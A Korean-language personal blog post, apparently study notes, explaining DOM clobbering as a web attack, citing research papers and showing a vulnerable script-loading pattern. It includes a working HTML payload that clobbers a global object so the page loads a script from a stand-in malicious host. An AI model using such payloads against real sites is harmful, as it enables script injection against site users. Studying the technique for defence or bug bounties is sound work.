2025. 5. 17. 17:08ㆍWeb Security/web hacking
CTF 문제에서만 DOM clobbing 공격을 다뤘으나 리월월드를 위한 공부하고 싶어서 주제를 가져왔다.
CTF랑 리얼월드랑 조금 다르다.
일단 리얼월드에서 해당 공격이 통하기 위해서는 html 요소를 허락하나 id와 Name의 경우 허락해줘야 하는 상황이다.
일단 DOM clobbing vs code reuse xss 공격이랑 비슷하지만 조금은 다르다 둘다 ID와 Name을 factor로 공격하는 것이다.
DOM clobbing의 경우, https://www.usenix.org/conference/usenixsecurity25/presentation/liu-zhengyu 해당 논문을 참고하는 것이 좋을 것 같다.
code reuse의 경우, https://acmccs.github.io/papers/p1709-lekiesA.pdf 해당 논문이 존재한다.
code resuse가 무엇인지 궁금하면, https://github.com/gnuboard/g6/issues/643 이런거다. 하지만 프레임워크의 취약점을 곁들인..
째든, DOM clobbing 공격에 집중해볼 생각이다. 몰랐는데 DOM clobbing의 경우 글로벌 변수만 덮어 씌울수가 있음.
Dom clobbing 된 변수가 evil한 sink에 들어갈 경우 취약점이 발생한다.
일단 리얼 월드에서 개발자들은 해당 방식의 코딩? 을 자주한다.
var someObject = window.someObject || {};
또한 이러한 코드가 있다고 가정하자.
<script>
window.onload = function(){
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;
document.body.appendChild(script);
};
</script>
그렇다면 아래와 같은 페이로드를 입력할 수 있다. someobject.url의 값을 넣기 위해서는 dom Collection이라는 특징을 사용한
<a id=someObject><a id=someObject name=url href=//malicious-website.com/evil.js>
째든 논문에 의하면 source는
코드 내에서 선언되지 않았고, 그 전에 할당된 적도 없는 식별자 ( v or window.v, document.v), 덮어 쓰울수 있는 (document.v)

sink의 경우 다음과 같다.

TODO list:
논문에서 나온 툴 사용해보기! 버그바운티 용도로 바꾸기
'Web Security > web hacking' 카테고리의 다른 글
ejs 3.1.6 ssti (0) | 2025.05.16 |
---|---|
Debug and vulns (0) | 2025.02.23 |
ByPass WAF using HTTP header (0) | 2025.01.11 |
PHP Session Poisoning using LFI (0) | 2025.01.09 |
file upload & download & reverse shell (11) | 2024.11.15 |